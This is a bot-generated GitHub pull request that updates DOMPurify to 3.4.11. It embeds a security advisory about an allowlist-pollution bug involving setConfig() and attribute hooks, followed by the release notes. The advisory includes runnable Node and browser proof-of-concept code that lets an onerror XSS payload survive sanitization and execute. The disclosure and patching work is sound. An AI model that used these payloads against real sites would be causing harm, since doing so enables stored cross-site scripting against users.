Skip to content

chore(deps): update dependency dompurify to v3.4.11 [security] (stable1.0) - autoclosed#2726

Closed
renovate[bot] wants to merge 1 commit into
stable1.0from
renovate/stable1.0-npm-dompurify-vulnerability
Closed

chore(deps): update dependency dompurify to v3.4.11 [security] (stable1.0) - autoclosed#2726
renovate[bot] wants to merge 1 commit into
stable1.0from
renovate/stable1.0-npm-dompurify-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jun 16, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
dompurify 3.4.13.4.11 age confidence

DOMPurify: Permanent ALLOWED_ATTR pollution via setConfig() bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch)

GHSA-cmwh-pvxp-8882

More information

Details

Summary

DOMPurify 3.4.7 shipped a security fix ("permanent hook pollution") that makes a registered uponSanitizeAttribute hook's mutation of data.allowedAttributes non-persistent — so allowing an attribute for one element does not leak into later sanitize() calls. The fix clones ALLOWED_ATTR inside _parseConfig.

That guard is silently bypassed whenever the application uses the persistent-config API DOMPurify.setConfig(). setConfig() sets the module flag SET_CONFIG = true, which causes sanitize() to skip _parseConfig entirely — and the clone-guard lives inside _parseConfig. The hook is then handed the live, shared ALLOWED_ATTR object; any data.allowedAttributes[name] = true it writes mutates that shared object permanently, for the lifetime of the DOMPurify instance, across every subsequent call, and across all elements.

If an application uses setConfig() together with an uponSanitizeAttribute hook that conditionally allows a dangerous attribute (onerror, onclick, onmouseover, srcdoc, formaction, …) for "trusted" elements, then one trusted render permanently allows that attribute on untrusted, attacker-controlled content — yielding stored XSS in viewers' browsers. DOMPurify applies no separate /^on/ event-handler blocklist: attribute stripping is governed entirely by the allowlist, so a polluted allowlist is the only gate, and survival in the output is final.


Affected configuration (preconditions)

The vulnerability is triggered when an application does both:

  1. Calls DOMPurify.setConfig(...) once (the recommended pattern for a fixed, persistent policy), and
  2. Registers an uponSanitizeAttribute hook that writes data.allowedAttributes[name] = true to conditionally allow an attribute (e.g. only for elements bearing a trust marker).

This hook pattern is demonstrated in DOMPurify's own test suite, and the per-call variant of exactly this leak is what 3.4.7 was released to fix.


Root cause (source: src/purify.ts, v3.4.10)

The 3.4.7 clone-guard — only inside _parseConfig:

// src/purify.ts  _parseConfig()  (lines ~950-968)
// "if a hook is registered AND the set still points at the default constant, clone it.
//  The hook then mutates the clone ... and the next default-cfg call rebinds to the untouched original."
if ( ... && hooks.uponSanitizeAttribute.length > 0) {
  ALLOWED_TAGS = clone(ALLOWED_TAGS);          // line 961
}
if ( ... hooks.uponSanitizeAttribute.length > 0 ... ) {
  ALLOWED_ATTR = clone(ALLOWED_ATTR);          // line 968
}

sanitize() skips _parseConfig on the persistent-config path:

// src/purify.ts  DOMPurify.sanitize()  (line 2369)
if (!SET_CONFIG) {
  _parseConfig(cfg);          // <-- clone-guard lives in here; SKIPPED when SET_CONFIG is true
}

setConfig() sets the flag that disables the guard:

// src/purify.ts  (lines 2596-2598)
DOMPurify.setConfig = function (cfg = {}) {
  _parseConfig(cfg);
  SET_CONFIG = true;          // every later sanitize() now skips _parseConfig
};

The hook is handed the live allowlist binding, and there is no secondary event-handler defense:

// src/purify.ts (line 2088) — hook event exposes the shared object by reference
allowedAttributes: ALLOWED_ATTR,
// (line 2108) hooks.uponSanitizeAttribute executed; a write to data.allowedAttributes mutates ALLOWED_ATTR itself
// _isValidAttribute gates purely on ALLOWED_ATTR[lcName]; DOMPurify uses NO /^on/ blocklist by design.

Net: after setConfig(), the clone-guard never runs, so the hook's allowedAttributes mutation is a permanent write to the instance's shared ALLOWED_ATTR.


Proof of Concept

Environment: npm i dompurify@3.4.10 jsdom (Node; identical mechanism to isomorphic-dompurify, and to a browser instance).

PoC 1 — the leak (trusted render permanently allows onerror on attacker content)
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DP = createDOMPurify(new JSDOM('').window);

// App init: persistent policy + a hook that allows onerror ONLY for trusted, pre-vetted elements
DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
DP.addHook('uponSanitizeAttribute', (node, data) => {
  if (node.getAttribute && node.getAttribute('data-trusted') === '1') {
    data.allowedAttributes['onerror'] = true;        // intended: trusted-only
  }
});

// 1) A trusted widget is rendered once
DP.sanitize('<img data-trusted="1" src="x" onerror="loadWidget()">');

// 2) Later, ATTACKER-controlled content (NO data-trusted) is sanitized on the same instance
console.log(DP.sanitize('<img src="x" onerror="alert(document.cookie)">'));
// OUTPUT:  <img src="x" onerror="alert(document.cookie)">     <-- onerror SURVIVES -> XSS
PoC 2 — it is a DOMPurify state-leak, not "the app allowed on*" (attribute-agnostic)
// Same setConfig + hook shape, but the hook allows a BENIGN attribute (title).
// The leak is identical -> the defect is a shared-state mutation in DOMPurify,
// independent of which attribute the hook touches.
DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });
DP.addHook('uponSanitizeAttribute', (n, d) => {
  if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;
});
DP.sanitize('<span data-trusted="1" title="ok">x</span>');
console.log(DP.sanitize('<span title="leaked">x</span>'));   // -> <span title="leaked">x</span>  (leaked)
PoC 3 — control: WITHOUT setConfig() the 3.4.7 guard holds
const DP2 = createDOMPurify(new JSDOM('').window);
DP2.addHook('uponSanitizeAttribute', (n, d) => {
  if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
});
DP2.sanitize('<img data-trusted="1" src="x" onerror="ok()">', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
console.log(DP2.sanitize('<img src="x" onerror="alert(1)">', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] }));
// OUTPUT:  <img src="x">     <-- onerror correctly STRIPPED. setConfig() is the trigger.
Persistence (observed)
  • The leak persists after removeAllHooks() — removing the hook does not clean the polluted allowlist.
  • It is global / cross-element — a polluted onmouseover survives on <a> and <div>, not only the originally-blessed <img>.
  • It persists for the instance lifetime (survived 5/5 subsequent default calls).
  • clearConfig() does restore a clean state (this is the bound of the impact).

Impact

Stored XSS. In a long-lived (e.g. server-side / isomorphic-dompurify) DOMPurify instance, a single trusted render flips a shared allowlist bit; every subsequent untrusted submission then inherits a live event-handler attribute and executes script in viewers' browsers. Because DOMPurify enforces no /^on/ blocklist, a surviving on* attribute is final — no secondary control prevents execution. onerror on a broken-src <img> fires with no user interaction (browser-confirmed; see Validation).

Per-call FORBID_ATTR does not mitigate. A defensive sanitize(input, { FORBID_ATTR: ['onerror'] }) is also ignored once setConfig() has been called: the per-call config is parsed by _parseConfig, which sanitize() skips entirely under SET_CONFIG. So an application cannot blunt the leak with a per-call denylist — the poisoned ALLOWED_ATTR is the sole gate.


Realistic attack scenario

A platform mixes admin-authored interactive widgets with user-generated content through one sanitizer instance:

  1. The app installs a persistent baseline policy via setConfig({ ALLOWED_TAGS: [...], ALLOWED_ATTR: [...] }).
  2. It registers an uponSanitizeAttribute hook that enables an event handler only for admin-vetted elements marked data-trusted="1", intending safe rich interactivity — a pattern the 3.4.7 fix was specifically meant to make safe.
  3. An admin renders one trusted widget. From that point on, every user-submitted comment/post containing <img src=x onerror=...> passes sanitization and executes for all viewers.

Remediation

Extend the existing clone-guard to the persistent-config (SET_CONFIG) fast-path: when sanitize() skips _parseConfig but an uponSanitizeAttribute hook is registered, clone the allowlists before the walk so hook mutations cannot persist — the exact analogue of the guard already present in _parseConfig.

// In DOMPurify.sanitize(), replacing the bare `if (!SET_CONFIG) { _parseConfig(cfg); }`:
if (!SET_CONFIG) {
  _parseConfig(cfg);
} else if (hooks.uponSanitizeAttribute.length > 0) {
  // Persistent-config path: _parseConfig (and its clone-guard) is skipped, so a hook would
  // otherwise mutate the shared ALLOWED_ATTR/ALLOWED_TAGS permanently. Clone per call.
  if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR || ALLOWED_ATTR === currentSetConfigAttr) {
    ALLOWED_ATTR = clone(ALLOWED_ATTR);
  }
  if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS || ALLOWED_TAGS === currentSetConfigTags) {
    ALLOWED_TAGS = clone(ALLOWED_TAGS);
  }
}

(Equivalently: in the hook-event builder at line ~2088, hand the hook a shallow clone of ALLOWED_ATTR/ALLOWED_TAGS whenever SET_CONFIG is true, mirroring the 3.4.7 intent.)

A regression test should reproduce PoC 1 and assert the attacker call returns <img src="x">. Note the existing 3.4.7 regression test ("unguarded attribute hook does not poison subsequent default-config calls") never exercises setConfig() — adding a setConfig variant closes the gap.

Application-side mitigation until patched: prefer data.keepAttr = true (per-element, non-persistent) over data.allowedAttributes[name] = true inside hooks; or call DOMPurify.clearConfig() between trust domains; or use separate DOMPurify instances for trusted vs. untrusted content.


Limitations
  • Requires the two-part precondition above (persistent setConfig() and a hook writing data.allowedAttributes[...]). Not a default-config bypass.
  • Impact is bounded by clearConfig(), which restores a clean state. The earlier-considered "survives clearConfig()" claim did not reproduce and is withdrawn.
  • A position could be adopted to "use data.keepAttr=true, not allowedAttributes[]." However, the 3.4.7 security fix exists precisely to defend the allowedAttributes[] hook pattern in the per-call path; leaving the setConfig path unguarded is an incomplete fix of an acknowledged security issue.
Validation
  • Integrity: the tested dompurify@3.4.10 dist/purify.cjs.js (md5 ab0e7b1cde1cbcace0f62b6aac284143) and browser dist/purify.min.js (md5 b0985f80fa48e6e7b263f8f6a64b779e) are byte-identical to a freshly npm pack-ed release — the repro is on the real shipped code. Mechanism identical on 3.4.0, 3.4.9 and 3.4.10.
  • Node (mechanism): PoCs 1–3 reproduce deterministically; DOMPurify.isValidAttribute('img','onerror','x') flips false → true after a single trusted render under setConfig(), proving the shared attribute gate is poisoned. Leak survives removeAllHooks(), is cross-element, persists for the instance lifetime, and is reset only by clearConfig().
  • Real browser (impact): in Chrome with DOMPurify 3.4.10, assigning the attacker output to innerHTML executes the surviving onerror (sentinel window.__fired = ["ATTACKER-onerror"]; onerror DOM property is a function), with no user interaction. The no-setConfig A/B control does not fire — execution is attributable to the setConfig leak, not a harness artifact.

Appendix A — Node PoC (complete, runnable)
// poc.js  —  npm i dompurify@3.4.10 jsdom  &&  node poc.js
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const freshDP = () => createDOMPurify(new JSDOM('').window);
const log = (s) => console.log(s);
log('DOMPurify ' + freshDP().version + '\n');

// PoC 1 — the leak: trusted render permanently allows onerror on attacker content
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
  DP.addHook('uponSanitizeAttribute', (node, data) => {
    if (node.getAttribute && node.getAttribute('data-trusted') === '1') {
      data.allowedAttributes['onerror'] = true;            // intended: trusted-only
    }
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="loadWidget()">');            // trusted render
  const attacker = DP.sanitize('<img src="x" onerror="alert(document.cookie)">');  // attacker, no data-trusted
  log('[PoC1] attacker output  : ' + attacker);
  log('[PoC1] onerror survived : ' + /onerror/.test(attacker));
  log('[PoC1] isValidAttribute(img,onerror) -> ' + DP.isValidAttribute('img','onerror','x') + '  (shared gate poisoned)\n');
}

// PoC 2 — attribute-agnostic: a DOMPurify state-leak, not "the app allowed on*"
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;
  });
  DP.sanitize('<span data-trusted="1" title="ok">x</span>');
  log('[PoC2] benign title leaks: ' + DP.sanitize('<span title="leaked">x</span>') + '\n');
}

// PoC 3 — control: WITHOUT setConfig the 3.4.7 guard holds
{
  const DP = freshDP();
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="ok()">', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });
  const ctrl = DP.sanitize('<img src="x" onerror="alert(1)">', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });
  log('[PoC3] control output   : ' + ctrl + '   stripped: ' + !/onerror/.test(ctrl) + '\n');
}

// Persistence: survives removeAllHooks(); reset only by clearConfig()
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="ok()">');
  DP.removeAllHooks();
  let leaks = 0;
  for (let i = 0; i < 5; i++) if (/onerror/.test(DP.sanitize('<img src="x" onerror="alert('+i+')">'))) leaks++;
  log('[persist] survived ' + leaks + '/5 calls after removeAllHooks()');
  DP.clearConfig();
  log('[persist] after clearConfig(): ' + DP.sanitize('<img src="x" onerror="alert(1)">') + '  (reset)');
}

Expected output:

[PoC1] attacker output  : <img src="x" onerror="alert(document.cookie)">
[PoC1] onerror survived : true
[PoC1] isValidAttribute(img,onerror) -> true  (shared gate poisoned)
[PoC2] benign title leaks: <span title="leaked">x</span>
[PoC3] control output   : <img src="x">   stripped: true
[persist] survived 5/5 calls after removeAllHooks()
[persist] after clearConfig(): <img src="x">  (reset)
Appendix B — Browser PoC (complete; confirms execution)
<!doctype html><html><head><meta charset="utf-8">
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.4.10/dist/purify.min.js"></script>
</head><body><pre id="out"></pre>
<script>
const log = (s) => document.getElementById('out').textContent += s + '\n';
window.__fired = [];
window.alert = (x) => window.__fired.push('alert:' + x);   // sentinel: capture exec, no modal
log('DOMPurify ' + DOMPurify.version);

// App init: persistent policy + a hook allowing onerror ONLY for trusted elements
DOMPurify.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
  if (node.getAttribute && node.getAttribute('data-trusted') === '1') data.allowedAttributes['onerror'] = true;
});

DOMPurify.sanitize('<img data-trusted="1" src="x" onerror="0">');                 // one trusted render
const out = DOMPurify.sanitize('<img src="x" onerror="alert(\'XSS:\'+document.domain)">');  // attacker
log('attacker sanitized output: ' + out);
const host = document.createElement('div');
host.innerHTML = out;                            // surviving onerror arms on the broken-src img
document.body.appendChild(host);

setTimeout(() => {
  log('handlers fired: ' + JSON.stringify(window.__fired));
  log(window.__fired.length ? 'RESULT: XSS EXECUTED' : 'RESULT: no execution');
}, 500);
</script></body></html>

Observed: handlers fired: ["alert:XSS:<domain>"]RESULT: XSS EXECUTED (no user interaction). The same harness without the setConfig() line strips onerror and does not fire.

Severity

  • CVSS Score: 5.1 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

cure53/DOMPurify (dompurify)

v3.4.11: DOMPurify 3.4.11

Compare Source

  • Fixed an issue with a leaky config for hooks via setConfig, thanks @​trace37labs
  • Bumped vulnerable development dependencies to arrive at plain 0 with npm audit
  • Updated the osv-scanner suppression list as no vulnerable dependencies are left for now
  • Updated up the linting tool-chain and removed now-redundant lint directives
  • Updated the documentation is several spots, README, wiki, etc.
  • Bumped several dependencies where possible

v3.4.10: DOMPurify 3.4.10

Compare Source

  • Refactored codebase for clarity: extracted the public type declarations into types.ts
  • Decomposed the three largest sanitizer functions into focused helpers
  • Removed duplicated defaults and dead branches, consolidated SAFE_FOR_TEMPLATES scrubbing into single shared path
  • Improved per-node performance by hoisting the mXSS probe regexes and testing textContent before innerHTML
  • Added a deterministic micro-benchmark harness (npm run bench) with a --compare mode
  • Reduced CI cost by running the full three-engine browser suite once per PR
  • Refreshed the demos/ folder so every demo runs again, and added a SVG-via-<img> demo
  • Documented the bench and test:happydom scripts in the README
  • Completed the Attack Classes & Bypass History wiki page
  • Bumped several dependencies where possible

v3.4.9: DOMPurify 3.4.9

Compare Source

  • Further improved the handling of Trusted Types config options, thanks @​offset
  • Further improved the handling of IN_PLACE sanitization, thanks @​mozfreddyb
  • Added more test coverage for IN_PLACE and Trusted Types related usage
  • Bumped several dependencies where possible
  • Updated README and wiki with more accurate documentation & attack samples

v3.4.8: DOMPurify 3.4.8

Compare Source

  • Cleaned up the repository root, renamed some and removed unneeded files
  • Fixed an issue with handling of Trusted Types policies, thanks @​fulstadev
  • Fixed the node iterator for better template scrubbing, thanks @​IamLeandrooooo
  • Included formerly missing LICENSE-MPL in published npm package, thanks @​asamuzaK
  • Bumped several dependencies where possible

v3.4.7: DOMPurify 3.4.7

Compare Source

  • Hardened the handling of Shadow Roots when using IN_PLACE, thanks @​GameZoneHacker
  • Removed a problem leading to permanent hook pollution, thanks @​offset
  • Refactored the test suite and expanded test coverage significantly

v3.4.6: DOMPurify 3.4.6

Compare Source

  • Fixed several issues with DOM Clobbering in IN_PLACE mode, thanks @​offset & @​Bankde
  • Hardened the checks for cross-realm IN_PLACE and Shadow DOM sanitization, thanks @​offset & @​Bankde
  • Added more test coverage for IN_PLACE and general DOM Clobbering attacks
  • Bumped several dependencies where possible

v3.4.5: DOMPurify 3.4.5

Compare Source

  • Fixed a bypass caused by the new HTML element selectedcontent added in 3.4.4, thanks @​KabirAcharya

Note that this is a security release for an issue introduced in 3.4.4 and should be upgraded to immediately.

v3.4.4: DOMPurify 3.4.4

Compare Source

  • Added the selectedcontent element to default allow-list, thanks @​lukewarlow
  • Added the command and commandfor attributes to default allowed-list, thanks @​lukewarlow
  • Added better template scrubbing for IN_PLACE operations, thanks @​DEMON1A
  • Added stronger checks for cross-realm windows, thanks @​DEMON1A & @​fg0x0
  • Updated demo website and made sure it uses the latest from main
  • Updated existing workflows, fuzzer, dependabot, etc., added more tests
  • Bumped several dependencies where possible

🚨 This release had been flagged as deprecated, please use DOMPurify 3.4.5 instead 🚨

v3.4.3: DOMPurify 3.4.3

Compare Source

  • Fixed an issue with handling of nested Shadow DOM trees, thanks @​fishjojo1
  • Fixed the template regexes to be more robust against ReDoS attacks, thanks @​aleung27
  • Updated the node iteration code to catch more Shadow DOM related issues
  • Updated Playwright and added Node 26 to test matrix
  • Updated existing workflows, fuzzer, release signing, etc., added more tests
  • Bumped several dependencies where possible

v3.4.2: DOMPurify 3.4.2

Compare Source

  • Fixed an issue with URI validation on attributes allowed via ADD_ATTR callback, thanks @​nelstrom
  • Fixed an issue with source maps referring to non-existing files, thanks @​cmdcolin
  • Updated existing workflows, fuzzer, release signing, etc., added more tests
  • Bumped several dependencies where possible

Configuration

📅 Schedule: (in timezone Europe/Berlin)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot requested a review from enjeck as a code owner June 16, 2026 05:22
@renovate renovate Bot added 3. to review Waiting for reviews dependencies Pull requests that update a dependency file labels Jun 16, 2026
@renovate renovate Bot requested a review from blizzz as a code owner June 16, 2026 05:22
@renovate renovate Bot changed the title chore(deps): update dependency dompurify to v3.4.9 [security] (stable1.0) chore(deps): update dependency dompurify to v3.4.9 [security] (stable1.0) - autoclosed Jun 16, 2026
@renovate renovate Bot closed this Jun 16, 2026
@renovate renovate Bot deleted the renovate/stable1.0-npm-dompurify-vulnerability branch June 16, 2026 05:56
@renovate renovate Bot changed the title chore(deps): update dependency dompurify to v3.4.9 [security] (stable1.0) - autoclosed chore(deps): update dependency dompurify to v3.4.11 [security] (stable1.0) Jun 19, 2026
@renovate renovate Bot reopened this Jun 19, 2026
@renovate renovate Bot force-pushed the renovate/stable1.0-npm-dompurify-vulnerability branch 2 times, most recently from 58a2457 to f1b5dc9 Compare June 19, 2026 05:56
@renovate renovate Bot changed the title chore(deps): update dependency dompurify to v3.4.11 [security] (stable1.0) chore(deps): update dependency dompurify to v3.4.11 [security] (stable1.0) - autoclosed Jun 20, 2026
@renovate renovate Bot closed this Jun 20, 2026
Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
@renovate renovate Bot changed the title chore(deps): update dependency dompurify to v3.4.11 [security] (stable1.0) - autoclosed chore(deps): update dependency dompurify to v3.4.11 [security] (stable1.0) Jun 21, 2026
@renovate renovate Bot reopened this Jun 21, 2026
@renovate renovate Bot force-pushed the renovate/stable1.0-npm-dompurify-vulnerability branch 2 times, most recently from f1b5dc9 to 819f466 Compare June 21, 2026 12:01
@renovate renovate Bot changed the title chore(deps): update dependency dompurify to v3.4.11 [security] (stable1.0) chore(deps): update dependency dompurify to v3.4.11 [security] (stable1.0) - autoclosed Jun 21, 2026
@renovate renovate Bot closed this Jun 21, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

3. to review Waiting for reviews dependencies Pull requests that update a dependency file

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants